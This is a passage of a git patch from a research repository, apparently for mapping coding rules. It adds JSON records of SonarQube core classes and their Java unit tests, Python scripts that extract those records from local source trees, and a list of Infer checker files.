unorderedIndex_with_valueFunction_fails_if_value_function_is_null() {\n\n assertThatThrownBy(() -> unorderedIndex(MyObj::getId, null))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't be null\");\n\n }" + }, + { + "description": "unorderedIndex_fails_if_key_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedIndex_fails_if_key_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(unorderedIndex(s -> null)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't return null\");\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_fails_if_key_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedIndex_with_valueFunction_fails_if_key_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(unorderedIndex(s -> null, MyObj::getText)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't return null\");\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_fails_if_value_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedIndex_with_valueFunction_fails_if_value_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(unorderedIndex(MyObj::getId, s -> null)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't return null\");\n\n }" + }, + { + "description": "unorderedIndex_supports_duplicate_keys", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void unorderedIndex_supports_duplicate_keys() {\n\n SetMultimap multimap = LIST_WITH_DUPLICATE_ID.stream().collect(unorderedIndex(MyObj::getId));\n\n\n\n assertThat(multimap.keySet()).containsOnly(1, 2);\n\n assertThat(multimap.get(1)).containsOnly(MY_OBJ_1_A, MY_OBJ_1_C);\n\n assertThat(multimap.get(2)).containsOnly(MY_OBJ_2_B);\n\n }" + }, + { + "description": "unorderedIndex_returns_SetMultimap", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void unorderedIndex_returns_SetMultimap() {\n\n SetMultimap multimap = LIST.stream().collect(unorderedIndex(MyObj::getId));\n\n\n\n assertThat(multimap.size()).isEqualTo(3);\n\n Map> map = multimap.asMap();\n\n assertThat(map.get(1)).containsOnly(MY_OBJ_1_A);\n\n assertThat(map.get(2)).containsOnly(MY_OBJ_2_B);\n\n assertThat(map.get(3)).containsOnly(MY_OBJ_3_C);\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_returns_SetMultimap", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void unorderedIndex_with_valueFunction_returns_SetMultimap() {\n\n SetMultimap multimap = LIST.stream().collect(unorderedIndex(MyObj::getId, MyObj::getText));\n\n\n\n assertThat(multimap.size()).isEqualTo(3);\n\n Map> map = multimap.asMap();\n\n assertThat(map.get(1)).containsOnly(\"A\");\n\n assertThat(map.get(2)).containsOnly(\"B\");\n\n assertThat(map.get(3)).containsOnly(\"C\");\n\n }" + }, + { + "description": "unorderedIndex_parallel_stream", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void unorderedIndex_parallel_stream() {\n\n SetMultimap multimap = HUGE_LIST.parallelStream().collect(unorderedIndex(identity()));\n\n\n\n assertThat(multimap.keySet()).isEqualTo(HUGE_SET);\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_parallel_stream", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void unorderedIndex_with_valueFunction_parallel_stream() {\n\n SetMultimap multimap = HUGE_LIST.parallelStream().collect(unorderedIndex(identity(), identity()));\n\n\n\n assertThat(multimap.keySet()).isEqualTo(HUGE_SET);\n\n }" + }, + { + "description": "unorderedFlattenIndex_empty_stream_returns_empty_map", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedFlattenIndex_empty_stream_returns_empty_map() {\n\n assertThat(Stream.empty()\n\n .collect(unorderedFlattenIndex(MyObj2::getId, MyObj2::getTexts))\n\n .size()).isZero();\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_fails_if_key_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedFlattenIndex_with_valueFunction_fails_if_key_function_is_null() {\n\n assertThatThrownBy(() -> unorderedFlattenIndex(null, MyObj2::getTexts))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't be null\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_fails_if_value_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedFlattenIndex_with_valueFunction_fails_if_value_function_is_null() {\n\n assertThatThrownBy(() -> unorderedFlattenIndex(MyObj2::getId, null))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't be null\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_fails_if_key_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedFlattenIndex_with_valueFunction_fails_if_key_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT2_LIST.stream().collect(unorderedFlattenIndex(s -> null, MyObj2::getTexts)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't return null\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_fails_if_value_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedFlattenIndex_with_valueFunction_fails_if_value_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT2_LIST.stream().collect(unorderedFlattenIndex(MyObj2::getId, s -> null)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't return null\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_supports_duplicate_keys", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void unorderedFlattenIndex_supports_duplicate_keys() {\n\n SetMultimap multimap = LIST2_WITH_DUPLICATE_ID.stream()\n\n .collect(unorderedFlattenIndex(MyObj2::getId, MyObj2::getTexts));\n\n\n\n assertThat(multimap.keySet()).containsOnly(1, 2);\n\n assertThat(multimap.get(1)).containsOnly(\"A\", \"X\", \"C\");\n\n assertThat(multimap.get(2)).containsOnly(\"B\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_returns_SetMultimap", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void unorderedFlattenIndex_with_valueFunction_returns_SetMultimap() {\n\n SetMultimap multimap = LIST2.stream()\n\n .collect(unorderedFlattenIndex(MyObj2::getId, MyObj2::getTexts));\n\n\n\n assertThat(multimap.size()).isEqualTo(4);\n\n Map> map = multimap.asMap();\n\n assertThat(map.get(1)).containsOnly(\"A\", \"X\");\n\n assertThat(map.get(2)).containsOnly(\"B\");\n\n assertThat(map.get(3)).containsOnly(\"C\");\n\n }" + }, + { + "description": "unorderedFlattenIndex_with_valueFunction_parallel_stream", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void unorderedFlattenIndex_with_valueFunction_parallel_stream() {\n\n SetMultimap multimap = HUGE_LIST.parallelStream().collect(unorderedFlattenIndex(identity(), Stream::of));\n\n\n\n assertThat(multimap.keySet()).isEqualTo(HUGE_SET);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/ce.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/ce.json new file mode 100644 index 0000000..038c81e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/ce.json @@ -0,0 +1,7 @@ +{ + "name": "ce", + "description": null, + "rules": [ + "CeTaskCharacteristics" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/component.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/component.json new file mode 100644 index 0000000..4306bb5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/component.json @@ -0,0 +1,7 @@ +{ + "name": "component", + "description": null, + "rules": [ + "ComponentKeys" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/config.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/config.json new file mode 100644 index 0000000..42eb935 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/config.json @@ -0,0 +1,26 @@ +{ + "name": "config", + "description": null, + "rules": [ + "AiCodeFixEnablementConstants", + "AiCodefixPropertyDefinitions", + "ComputeEngineProperties", + "CorePropertyDefinitions", + "DebtProperties", + "ExclusionProperties", + "Frequency", + "IssueExclusionProperties", + "Logback", + "MQRModeConstants", + "MQRModeProperties", + "MaxTokenLifetimeOption", + "ProxyProperties", + "PurgeConstants", + "PurgeProperties", + "ScannerProperties", + "SecurityProperties", + "SvnProperties", + "TokenExpirationConstants", + "WebConstants" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/documentation.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/documentation.json new file mode 100644 index 0000000..7aeddba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/documentation.json @@ -0,0 +1,10 @@ +{ + "name": "documentation", + "description": null, + "rules": [ + "DefaultDocumentationLinkGenerator", + "DocumentationBaseLinkProvider", + "DocumentationLinkGenerator", + "VersionedDocumentationBaseLinkProvider" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/extension.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/extension.json new file mode 100644 index 0000000..4331f3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/extension.json @@ -0,0 +1,15 @@ +{ + "name": "extension", + "description": null, + "rules": [ + "CoreExtension", + "CoreExtensionRepository", + "CoreExtensionRepositoryImpl", + "CoreExtensionsInstaller", + "CoreExtensionsLoader", + "PlatformLevel", + "PlatformLevelPredicates", + "PluginRiskConsent", + "ServiceLoaderWrapper" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/fips.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/fips.json new file mode 100644 index 0000000..7cb2054 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/fips.json @@ -0,0 +1,7 @@ +{ + "name": "fips", + "description": null, + "rules": [ + "FipsDetector" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/hash.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/hash.json new file mode 100644 index 0000000..5fa9745 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/hash.json @@ -0,0 +1,9 @@ +{ + "name": "hash", + "description": null, + "rules": [ + "LineRange", + "SourceHashComputer", + "SourceLineHashesComputer" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/i18n.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/i18n.json new file mode 100644 index 0000000..3d27f6b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/i18n.json @@ -0,0 +1,10 @@ +{ + "name": "i18n", + "description": null, + "rules": [ + "DefaultI18n", + "DurationLabel", + "I18n", + "I18nClassloader" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/issue.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/issue.json new file mode 100644 index 0000000..da5699e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/issue.json @@ -0,0 +1,12 @@ +{ + "name": "issue", + "description": null, + "rules": [ + "AnticipatedTransition", + "DefaultImpact", + "DefaultIssue", + "DefaultIssueComment", + "FieldDiffs", + "IssueChangeContext" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/language.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/language.json new file mode 100644 index 0000000..69f1089 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/language.json @@ -0,0 +1,8 @@ +{ + "name": "language", + "description": null, + "rules": [ + "LanguagesProvider", + "UnanalyzedLanguages" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/metric.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/metric.json new file mode 100644 index 0000000..90cd928 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/metric.json @@ -0,0 +1,8 @@ +{ + "name": "metric", + "description": null, + "rules": [ + "ScannerMetrics", + "SoftwareQualitiesMetrics" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/platform.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/platform.json new file mode 100644 index 0000000..30950eb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/platform.json @@ -0,0 +1,32 @@ +{ + "name": "platform", + "description": null, + "rules": [ + "ClassDerivedBeanDefinition", + "ComponentKeys", + "Container", + "ContainerPopulator", + "EditionProvider", + "ExplodedPlugin", + "ExtensionContainer", + "LazyStrategy", + "LazyUnlessStartableStrategy", + "ListContainer", + "Module", + "PlatformEditionProvider", + "PluginClassLoader", + "PluginClassLoaderDef", + "PluginClassloaderFactory", + "PluginInfo", + "PluginJarExploder", + "PluginRepository", + "PriorityBeanFactory", + "RemotePluginFile", + "ServerId", + "SonarQubeVersion", + "SpringComponentContainer", + "SpringInitStrategy", + "StartableBeanPostProcessor", + "StartableContainer" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/plugin.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/plugin.json new file mode 100644 index 0000000..6b15d39 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/plugin.json @@ -0,0 +1,7 @@ +{ + "name": "plugin", + "description": null, + "rules": [ + "PluginType" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/rule.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/rule.json new file mode 100644 index 0000000..d50750a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/rule.json @@ -0,0 +1,10 @@ +{ + "name": "rule", + "description": null, + "rules": [ + "ImpactFormatter", + "ImpactSeverityMapper", + "RuleType", + "RuleTypeMapper" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/sarif.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/sarif.json new file mode 100644 index 0000000..e1434db --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/sarif.json @@ -0,0 +1,8 @@ +{ + "name": "sarif", + "description": null, + "rules": [ + "SarifSerializer", + "SarifSerializerImpl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/scadata.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/scadata.json new file mode 100644 index 0000000..5dc91a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/scadata.json @@ -0,0 +1,8 @@ +{ + "name": "scadata", + "description": null, + "rules": [ + "DefaultScaDataSourceImpl", + "ScaDataSource" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/telemetry.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/telemetry.json new file mode 100644 index 0000000..7141ac0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/telemetry.json @@ -0,0 +1,7 @@ +{ + "name": "telemetry", + "description": null, + "rules": [ + "TelemetryExtension" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/user.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/user.json new file mode 100644 index 0000000..b877712 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/user.json @@ -0,0 +1,7 @@ +{ + "name": "user", + "description": null, + "rules": [ + "DefaultUser" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/util.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/util.json new file mode 100644 index 0000000..68e75d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/groups/util.json @@ -0,0 +1,26 @@ +{ + "name": "util", + "description": null, + "rules": [ + "CloseableIterator", + "ContextException", + "DefaultHttpDownloader", + "FileUtils", + "LineReaderIterator", + "NonNullInputFunction", + "ParamChange", + "ProcessWrapperFactory", + "ProgressLogger", + "Protobuf", + "ProtobufJsonFormat", + "ResourceUtils", + "SequenceUuidFactory", + "SettingFormatter", + "Slug", + "UtcDateUtils", + "UuidFactory", + "UuidFactoryFast", + "UuidFactoryImpl", + "Uuids" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/main/sonarqube-main.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/main/sonarqube-main.json new file mode 100644 index 0000000..9aa7dd3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/main/sonarqube-main.json @@ -0,0 +1,6 @@ +{ + "artifactId": "sonarqube", + "groupId": null, + "version": 25.8.0, + "module": ["sonarqube"] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/modules/modules.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/modules/modules.json new file mode 100644 index 0000000..7315a59 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/modules/modules.json @@ -0,0 +1,26 @@ +{ + "artifactId": "sonarqube", + "name": "sonarqube", + "modelVersion": null, + "groups": [ + "ce", + "component", + "config", + "documentation", + "extension", + "fips", + "hash", + "i18n", + "issue", + "language", + "metric", + "platform", + "plugin", + "rule", + "sarif", + "scadata", + "telemetry", + "user", + "util" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-checkers.py b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-checkers.py new file mode 100644 index 0000000..7f4744c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-checkers.py @@ -0,0 +1,129 @@ +import os +import json +import re + +rule_base_path = r"C:\Poorcomputer\Study\Github\sonarqube\sonar-core\src\main\java\org\sonar\core" +test_base_path = r"C:\Poorcomputer\Study\Github\sonarqube\sonar-core\src\test\java\org\sonar\core" +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Sonarqube\Rule Information\checkers" + +def count_branches(lines): + keywords = ['if', 'else', 'switch', 'for', 'while', 'do'] + return sum(1 for line in lines for kw in keywords if re.search(r'\b' + kw + r'\b', line)) + +def count_apis(lines): + return sum(len(re.findall(r'\.\w+\s*\(', line)) for line in lines) + +def extract_class_body(lines, class_name): + code = "\n".join(lines) + pattern = re.compile(rf'\b(class|interface|enum)\s+{class_name}\b[^\n]*{{') + match = pattern.search(code) + if not match: + return None + start = match.start() + return extract_block_from(code[start:]) + +def extract_block_from(code_fragment): + brace_count = 0 + body_lines = [] + started = False + for line in code_fragment.splitlines(): + if '{' in line: + brace_count += line.count('{') + started = True + if started: + body_lines.append(line) + if '}' in line: + brace_count -= line.count('}') + if brace_count == 0: + break + return body_lines + +def extract_tests(test_file_path): + with open(test_file_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + code = "\n".join(lines) + test_entries = [] + + # 找所有 @Test 方法 + test_pattern = re.compile(r'@Test\s+public\s+void\s+(\w+)\s*\([^)]*\)\s*{', re.MULTILINE) + matches = list(test_pattern.finditer(code)) + + for match in matches: + method_name = match.group(1) + start = match.start() + + # 提取方法体 + method_body_lines = extract_block_from(code[start:]) + if not method_body_lines: + continue + + test_code = "\n".join(method_body_lines) + test_lines = sum(1 for line in method_body_lines if line.strip()) + + test_entries.append({ + "description": method_name, + "expected-problems": None, + "expected-linenumbers": test_lines, + "code": test_code + }) + + return test_entries + +def process_java_file(java_path, relative_path): + if os.path.basename(java_path) == "package-info.java": + return + + rule_name = os.path.splitext(os.path.basename(java_path))[0] + + with open(java_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + class_body = extract_class_body(lines, rule_name) + if not class_body: + return + + loc = sum(1 for line in class_body if line.strip()) + branches = count_branches(class_body) + apis = count_apis(class_body) + + # 尝试匹配测试文件路径 + test_relative_path = os.path.join(os.path.dirname(relative_path), f"{rule_name}Test.java") + test_file_path = os.path.join(test_base_path, test_relative_path) + test_entries = [] + + if os.path.exists(test_file_path): + test_entries = extract_tests(test_file_path) + + rule_info = { + "name": rule_name, + "language": "java", + "description": None, + "example": None, + "cwe": None, + "cwe-description": None, + "checker-language": "java", + "loc": loc, + "branches": branches, + "apis": apis, + "test": test_entries + } + + rel_dir = os.path.dirname(relative_path) + output_dir = os.path.join(output_base, rel_dir) + os.makedirs(output_dir, exist_ok=True) + output_path = os.path.join(output_dir, f"{rule_name}.json") + + with open(output_path, 'w', encoding='utf-8') as f: + json.dump(rule_info, f, indent=2, ensure_ascii=False) + +def scan_java_files(): + for root, _, files in os.walk(rule_base_path): + for file in files: + if file.endswith(".java") and file != "package-info.java": + full_path = os.path.join(root, file) + relative_path = os.path.relpath(full_path, rule_base_path) + process_java_file(full_path, relative_path) + +if __name__ == "__main__": + scan_java_files() diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-groups.py b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-groups.py new file mode 100644 index 0000000..639460e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-groups.py @@ -0,0 +1,35 @@ +import os +import json + +base_dir = r"C:\Poorcomputer\Study\Github\sonarqube\sonar-core\src\main\java\org\sonar\core" # 规则根目录 +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Sonarqube\Rule Information\groups" # 输出路径 + +def extract_groups(base_dir, output_dir): + os.makedirs(output_dir, exist_ok=True) + + for group_name in os.listdir(base_dir): + group_path = os.path.join(base_dir, group_name) + if not os.path.isdir(group_path): + continue + + rules = [] + for filename in os.listdir(group_path): + if filename == "package-info.java": + continue + if os.path.isfile(os.path.join(group_path, filename)): + rule_name, ext = os.path.splitext(filename) + rules.append(rule_name) + + group_json = { + "name": group_name, + "description": None, + "rules": sorted(rules) + } + + output_path = os.path.join(output_dir, f"{group_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(group_json, f, indent=2, ensure_ascii=False) + print(f"Saved group '{group_name}' with {len(rules)} rules.") + +if __name__ == "__main__": + extract_groups(base_dir, output_dir) \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-modules.py b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-modules.py new file mode 100644 index 0000000..3e8038d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Scripts/sonarqube-modules.py @@ -0,0 +1,29 @@ +import os +import json + +base_dir = r"C:\Poorcomputer\Study\Github\sonarqube\sonar-core\src\main\java\org\sonar\core" # 规则根目录 +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Sonarqube\Rule Information\modules\modules.json" # 输出路径 + +def extract_sonarqube_modules(base_dir, output_path): + modules = [] + for item in os.listdir(base_dir): + full_path = os.path.join(base_dir, item) + if os.path.isdir(full_path): + modules.append(item) + + modules.sort() + + result = { + "artifactId": "sonarqube", + "name": "sonarqube", + "modelVersion": None, + "groups": modules # 这里用 groups 字段存模块列表,格式你可以根据需要改 + } + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(result, f, indent=2, ensure_ascii=False) + + print(f"SonarQube模块信息已保存到:{output_path}") + +if __name__ == "__main__": + extract_sonarqube_modules(base_dir, output_dir) From 26c6f09b0dcabe1837539f2cc51c1255845ea311 Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Mon, 11 Aug 2025 14:34:54 +0800 Subject: [PATCH 7/7] Update Infer --- .../checkers/IR/AnalysisGlobalState.json | 13 + .../Rule formation/checkers/IR/Annot.json | 13 + .../checkers/IR/Attributes.json | 13 + .../Rule formation/checkers/IR/BUILTINS.json | 13 + .../Rule formation/checkers/IR/Binop.json | 13 + .../checkers/IR/BuiltinDecl.json | 13 + .../checkers/IR/CSharpClassName.json | 13 + .../Rule formation/checkers/IR/CallFlags.json | 13 + .../checkers/IR/CapturedVar.json | 13 + .../infer/Rule formation/checkers/IR/Cfg.json | 13 + .../checkers/IR/ClangMethodKind.json | 13 + .../Rule formation/checkers/IR/Const.json | 13 + .../checkers/IR/Dependencies.json | 38 +++ .../Rule formation/checkers/IR/DotCfg.json | 13 + .../checkers/IR/ErlangTypeName.json | 13 + .../infer/Rule formation/checkers/IR/Exp.json | 13 + .../Rule formation/checkers/IR/Fieldname.json | 13 + .../Rule formation/checkers/IR/Filtering.json | 13 + .../Rule formation/checkers/IR/FuncArg.json | 13 + .../checkers/IR/HackClassName.json | 13 + .../Rule formation/checkers/IR/Ident.json | 13 + .../Rule formation/checkers/IR/Instrs.json | 13 + .../Rule formation/checkers/IR/IntLit.json | 13 + .../checkers/IR/IntegerWidths.json | 13 + .../Rule formation/checkers/IR/Io_infer.json | 13 + .../checkers/IR/JavaClassName.json | 13 + .../Rule formation/checkers/IR/Mangled.json | 13 + .../checkers/IR/MissingDependencies.json | 13 + .../checkers/IR/ObjCDispatchModels.json | 13 + .../checkers/IR/ProcAttributes.json | 13 + .../Rule formation/checkers/IR/Procdesc.json | 13 + .../Rule formation/checkers/IR/Procname.json | 13 + .../Rule formation/checkers/IR/Pvar.json | 13 + .../checkers/IR/PythonClassName.json | 13 + .../checkers/IR/PythonProcname.json | 13 + .../checkers/IR/QualifiedCppName.json | 13 + .../infer/Rule formation/checkers/IR/Sil.json | 50 ++++ .../checkers/IR/SourceFiles.json | 13 + .../checkers/IR/Specialization.json | 13 + .../checkers/IR/SpecializedProcname.json | 13 + .../Rule formation/checkers/IR/StdTyp.json | 13 + .../Rule formation/checkers/IR/Struct.json | 13 + .../Rule formation/checkers/IR/Subtype.json | 13 + .../checkers/IR/SwiftClassName.json | 13 + .../Rule formation/checkers/IR/Tenv.json | 13 + .../infer/Rule formation/checkers/IR/Typ.json | 13 + .../Rule formation/checkers/IR/Unop.json | 13 + .../infer/Rule formation/checkers/IR/Var.json | 13 + .../checkers/IR/WeakTopologicalOrder.json | 13 + .../checkers/IR/inferconfig.json | 13 + .../Rule formation/checkers/IR/jConfig.json | 13 + .../checkers/IR/sourcePrinter.json | 13 + .../checkers/absint/AbstractDomain.json | 13 + .../checkers/absint/AbstractInterpreter.json | 13 + .../checkers/absint/AccessPath.json | 13 + .../checkers/absint/AccessTree.json | 13 + .../checkers/absint/AnalysisCallbacks.json | 13 + .../checkers/absint/AnalysisResult.json | 13 + .../checkers/absint/AnalysisState.json | 13 + .../checkers/absint/AndroidFramework.json | 13 + .../checkers/absint/Bindings.json | 13 + .../checkers/absint/CallSite.json | 13 + .../checkers/absint/ConcurrencyModels.json | 13 + .../checkers/absint/Errlog.json | 13 + .../checkers/absint/ExplicitTrace.json | 13 + .../checkers/absint/FormalMap.json | 13 + .../checkers/absint/HilExp.json | 13 + .../checkers/absint/HilInstr.json | 13 + .../absint/IdAccessPathMapDomain.json | 13 + .../absint/InterproceduralAnalysis.json | 13 + .../absint/IntraproceduralAnalysis.json | 13 + .../checkers/absint/IssueLog.json | 13 + .../checkers/absint/IssueToReport.json | 13 + .../checkers/absint/Localise.json | 13 + .../checkers/absint/LowerHil.json | 13 + .../checkers/absint/MemoryAccess.json | 13 + .../checkers/absint/MethodMatcher.json | 13 + .../checkers/absint/Mleak_buckets.json | 13 + .../checkers/absint/NoReturnModels.json | 13 + .../checkers/absint/NullsafeMode.json | 13 + .../checkers/absint/Passthrough.json | 13 + .../checkers/absint/PatternMatch.json | 13 + .../checkers/absint/ProcCfg.json | 13 + .../checkers/absint/ProcnameDispatcher.json | 13 + .../absint/RecursiveCycleException.json | 13 + .../checkers/absint/Reporting.json | 13 + .../checkers/absint/Sanitizer.json | 13 + .../checkers/absint/Scheduler.json | 13 + .../Rule formation/checkers/absint/Sink.json | 13 + .../checkers/absint/SinkTrace.json | 13 + .../checkers/absint/Source.json | 13 + .../checkers/absint/SubtypingCheck.json | 13 + .../checkers/absint/TaintTrace.json | 13 + .../checkers/absint/TaintTraceElem.json | 13 + .../checkers/absint/TaskSchedulerTypes.json | 13 + .../checkers/absint/TransferFunctions.json | 13 + .../checkers/absint/annotations.json | 13 + .../checkers/absint/exe_env.json | 13 + .../Rule formation/checkers/atd/AtdDeps.json | 13 + .../checkers/atd/InferCommand.json | 13 + .../backend/AnalysisDependencyGraph.json | 13 + .../checkers/backend/CallGraph.json | 13 + .../checkers/backend/CallGraphScheduler.json | 13 + .../checkers/backend/CallbackOfChecker.json | 13 + .../checkers/backend/Devirtualizer.json | 13 + .../checkers/backend/FileScheduler.json | 13 + .../checkers/backend/GCStats.json | 13 + 